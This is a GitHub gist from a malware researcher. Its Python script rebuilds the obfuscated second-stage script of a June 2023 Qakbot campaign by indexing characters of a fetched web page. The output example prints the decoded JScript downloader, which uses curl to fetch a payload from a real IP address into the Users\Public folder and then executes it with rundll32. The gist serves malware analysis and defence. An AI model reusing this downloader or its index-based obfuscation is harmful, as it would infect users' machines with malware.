Skip to content

Instantly share code, notes, and snippets.

@0xToxin
Last active June 14, 2023 13:04
Show Gist options
  • Save 0xToxin/6438af7e06f442ac013f65a3b8f71a70 to your computer and use it in GitHub Desktop.
Save 0xToxin/6438af7e06f442ac013f65a3b8f71a70 to your computer and use it in GitHub Desktop.
a quick script to recreate the 2nd stage script of Qakbot campaign from 14th of June 2023, just replace your array with arrVar
'''
https://twitter.com/Cryptolaemus1/status/1668965414867443712
'''
import requests
response = requests.get('https://www.computerhope.com/jargon/t/tilde.htm')
if response.status_code == 200:
response_text = response.text
else:
print(f"Request failed with status {response.status_code}")
response_text = ""
char_array = [char for char in response_text]
arrVar = [22, 340, 58, 39, 11, 21, 230, 58, 9, 217, 41, 3882, 340, 12, 231, 21, 58, 217, 27, 13, 13, 47, 217, 21, 11, 21, 12, 41, 39, 239, 8, 58, 11, 10, 260, 41, 13, 13, 47, 59, 2596, 59, 21, 42, 39, 13, 41, 21, 12, 47, 260, 4, 47, 42, 42, 47, 260, 8, 239, 47, 13, 41, 42, 10, 47, 42, 2597, 2598, 649, 41, 260, 9, 260, 47, 39, 230, 340, 231, 42, 14141, 230, 265, 13, 47, 42, 42, 12707, 21, 260, 217, 21, 58, 9, 44, 9, 58, 47, 332, 9, 2, 41, 11, 47, 2596, 2597, 684, 649, 41, 260, 9, 231, 260, 230, 231, 10, 47, 42, 21, 47, 42, 2169, 21, 59, 47, 59, 2168, 47, 22, 13, 47, 513, 47, 42, 9, 44, 9, 58, 340, 13, 13, 684, 59, 230, 2598, 231, 260, 230, 231, 10, 47, 42, 21, 47, 42, 2169, 21, 59, 47, 59, 2168, 47, 22, 13, 47, 513, 47, 42, 9, 44, 9, 58, 47, 332, 9, 2, 41, 11, 47, 2596, 2597, 684, 2625, 332, 10, 21, 13, 47, 2596, 231, 260, 230, 231, 10, 47, 42, 21, 47, 42, 2169, 21, 59, 47, 59, 2168, 47, 22, 13, 47, 513, 47, 42, 9, 18, 9, 260, 47, 39, 230, 340, 231, 42, 14141, 230, 265, 13, 47, 42, 42, 12707, 21, 260, 217, 21, 58, 9, '<', 9, 59, 21, 42, 39, 13, 41, 21, 12, 47, 260, 4, 47, 42, 42, 47, 260, 8, 239, 47, 13, 41, 42, 10, 47, 42, 2597, 684, 2625, 649, 41, 260, 9, 260, 21, 39, 380, 42, 10, 41, 332, 2168, 47, 231, 260, 21, 47, 649, 21, 58, 217, 4, 230, 13, 230, 58, 21, 3882, 47, 59, 9, 44, 9, 2169, 11, 260, 21, 58, 217, 258, 22, 260, 230, 12, 4, 10, 41, 260, 4, 230, 59, 47, 2596, 171, 574, 2597, 684, 649, 41, 260, 9, 340, 231, 2168, 47, 217, 47, 58, 47, 260, 41, 11, 47, 59, 5, 260, 41, 58, 42, 231, 21, 260, 47, 9, 44, 9, 58, 47, 332, 9, 5409, 39, 11, 21, 649, 47, 2508, 3, 265, 353, 47, 39, 11, 2596, 45, 42, 10, 47, 13, 13, 258, 41, 231, 231, 13, 21, 39, 41, 11, 21, 230, 58, 45, 2597, 684, 340, 231, 2168, 47, 217, 47, 58, 47, 260, 41, 11, 47, 59, 5, 260, 41, 58, 42, 231, 21, 260, 47, 258, 42, 10, 47, 13, 13, 47, 513, 47, 39, 340, 11, 47, 2596, 45, 39, 340, 260, 13, 45, 752, 9, 45, 18, 230, 9, 39, 249, 45, 9, 2155, 9, 260, 21, 39, 380, 42, 10, 41, 332, 2168, 47, 231, 260, 21, 47, 649, 21, 58, 217, 4, 230, 13, 230, 58, 21, 3882, 47, 59, 9, 2155, 9, 45, 340, 42, 47, 260, 42, 45, 9, 2155, 9, 260, 21, 39, 380, 42, 10, 41, 332, 2168, 47, 231, 260, 21, 47, 649, 21, 58, 217, 4, 230, 13, 230, 58, 21, 3882, 47, 59, 9, 2155, 9, 45, 231, 340, 265, 13, 21, 39, 45, 9, 2155, 9, 260, 21, 39, 380, 42, 10, 41, 332, 2168, 47, 231, 260, 21, 47, 649, 21, 58, 217, 4, 230, 13, 230, 58, 21, 3882, 47, 59, 9, 2155, 9, 45, 42, 10, 230, 332, 47, 260, 21, 58, 217, 258, 11, 12, 231, 9, 10, 11, 11, 231, 249, 250, 250, 768, 171, 574, 258, 768, 574, 768, 258, 768, 30, 258, 768, 2509, 171, 250, 3304, 12, 12707, 47, 231, 250, 4, 5409, 48, 171, 768, 45, 752, 9, 45, 45, 752, 9, 45, 230, 231, 47, 58, 45, 752, 9, 770, 2597, 684, 217, 41, 3882, 340, 12, 231, 21, 58, 217, 27, 13, 13, 47, 217, 21, 11, 21, 12, 41, 39, 239, 8, 58, 11, 10, 260, 41, 13, 13, 47, 59, 2596, 768, 1817, 770, 770, 770, 2597, 684, 340, 231, 2168, 47, 217, 47, 58, 47, 260, 41, 11, 47, 59, 5, 260, 41, 58, 42, 231, 21, 260, 47, 258, 42, 10, 47, 13, 13, 47, 513, 47, 39, 340, 11, 47, 2596, 45, 39, 230, 58, 10, 230, 42, 11, 45, 752, 9, 45, 260, 340, 58, 59, 13, 13, 3982, 574, 258, 47, 513, 47, 9, 39, 249, 45, 9, 2155, 9, 260, 21, 39, 380, 42, 10, 41, 332, 2168, 47, 231, 260, 21, 47, 649, 21, 58, 217, 4, 230, 13, 230, 58, 21, 3882, 47, 59, 9, 2155, 9, 45, 340, 42, 47, 260, 42, 45, 9, 2155, 9, 260, 21, 39, 380, 42, 10, 41, 332, 2168, 47, 231, 260, 21, 47, 649, 21, 58, 217, 4, 230, 13, 230, 58, 21, 3882, 47, 59, 9, 2155, 9, 45, 231, 340, 265, 13, 21, 39, 45, 9, 2155, 9, 260, 21, 39, 380, 42, 10, 41, 332, 2168, 47, 231, 260, 21, 47, 649, 21, 58, 217, 4, 230, 13, 230, 58, 21, 3882, 47, 59, 9, 2155, 9, 45, 42, 10, 230, 332, 47, 260, 21, 58, 217, 258, 11, 12, 231, 752, 12, 340, 42, 11, 45, 752, 9, 45, 45, 752, 9, 45, 230, 231, 47, 58, 45, 752, 9, 770, 2597, 684];
final = ''
for a in arrVar:
if isinstance(a, str):
final += a
else:
final += char_array[a]
print(final)
'''
Output example:
function gazumpingIllegitimacyEnthralled(disclaimerCesserEyelashes){
var recoupsQoblessVirgin = new Date();
var prophesiesSidedReflexes = null;
do{prophesiesSidedReflexes = new Date();
}
while(prophesiesSidedReflexes - recoupsQoblessVirgin < disclaimerCesserEyelashes);
}
var rickshawReprievingColonized = String.fromCharCode(92);
var upRegeneratedTranspire = new ActiveXObject("shell.application");
upRegeneratedTranspire.shellexecute("curl", "-o c:" + rickshawReprievingColonized + "users" + rickshawReprievingColonized + "public" + rickshawReprievingColonized + "showering.tmp http://192.121.17.149/QmVep/CA691", "", "open", 0);
gazumpingIllegitimacyEnthralled(15000);
upRegeneratedTranspire.shellexecute("conhost", "rundll32.exe c:" + rickshawReprievingColonized + "users" + rickshawReprievingColonized + "public" + rickshawReprievingColonized + "showering.tmp,must", "", "open", 0);
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment